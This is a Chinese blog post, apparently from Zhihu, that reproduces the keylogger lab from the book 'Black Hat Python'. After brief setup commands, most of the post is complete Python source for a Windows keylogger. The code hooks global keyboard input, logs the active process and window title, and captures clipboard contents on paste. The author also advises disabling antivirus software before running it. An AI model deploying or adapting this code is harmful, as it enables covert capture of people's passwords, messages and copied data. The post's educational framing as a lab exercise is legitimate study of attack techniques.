近期收到了电子工业出版社赠送的一本网络安全书籍《python黑帽子》,书中一共24个实验,今天复现第19个实验( 键盘记录),我的测试环境是windows虚拟机+conda开发环境+python3.7。这个实验非常有趣,在windows环境下,可以记录不同进程下键盘的记录,比如我在notepad记事本上敲下“您好”,程序运行就会得到“ninhao”这样的拼音,这种程序一般会被杀毒软件拦截,因此做实验之前请关闭杀毒软件~
ailx10
网络安全优秀回答者
网络安全硕士
去咨询
这里实验环境选择 python3.7,这样几乎不用改代码,否则代码可能有不兼容的地方,需要自己手动修改~
conda create -n py3.7hack python=3.7
conda activate py3.7hack
# conda install -c conda-forge pywinhook (python3.6环境)
pip install pyWinhook
实验演示结果如下:
参考代码:
# -*- coding: utf-8 -*-
# @Time : 2022/6/24 8:17 PM
# @Author : ailx10
# @File : keylogger.py
from ctypes import byref,create_string_buffer,c_ulong,windll
from io import StringIO
import os
import pythoncom
import pyWinhook as pyHook
import sys
import time
import win32clipboard
TIMEOUT = 10
class KeyLogger:
def __init__(self):
self.current_window = None
def get_current_process(self):
hwnd = windll.user32.GetForegroundWindow()
pid = c_ulong(0)
windll.user32.GetWindowThreadProcessId(hwnd,byref(pid))
process_id = f"{pid.value}"
executable = create_string_buffer(512)
h_process = windll.kernel32.OpenProcess(0x400|0x10,False,pid)
windll.psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
window_title = create_string_buffer(512)
windll.user32.GetWindowTextA(hwnd,byref(window_title),512)
try:
self.current_window = window_title.value.decode('unicode_escape')
except UnicodeDecodeError as e:
print(f"{e}:window name unknow")
print("\n",process_id,executable.value.decode('unicode_escape'),self.current_window)
windll.kernel32.CloseHandle(hwnd)
windll.kernel32.CloseHandle(h_process)
def mykeystore(self,event):
if event.WindowName != self.current_window:
self.get_current_process()
if 32 < event.Ascii < 127:
print(chr(event.Ascii),end="")
else:
if event.Key == 'V':
win32clipboard.OpenClipboard()
value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print(f"[PASTE] - {value}")
else:
print(f"{event.Key}")
return True
def run():
save_stdout = sys.stdout
sys.stdout = StringIO()
k1 = KeyLogger()
hm = pyHook.HookManager()
hm.KeyDown = k1.mykeystore
hm.HookKeyboard()
while time.thread_time() < TIMEOUT:
pythoncom.PumpWaitingMessages()
log = sys.stdout.getvalue()
sys.stdout = save_stdout
return log
if __name__ == "__main__":
print(run())
print("done.")
发布于 2022-06-24 21:24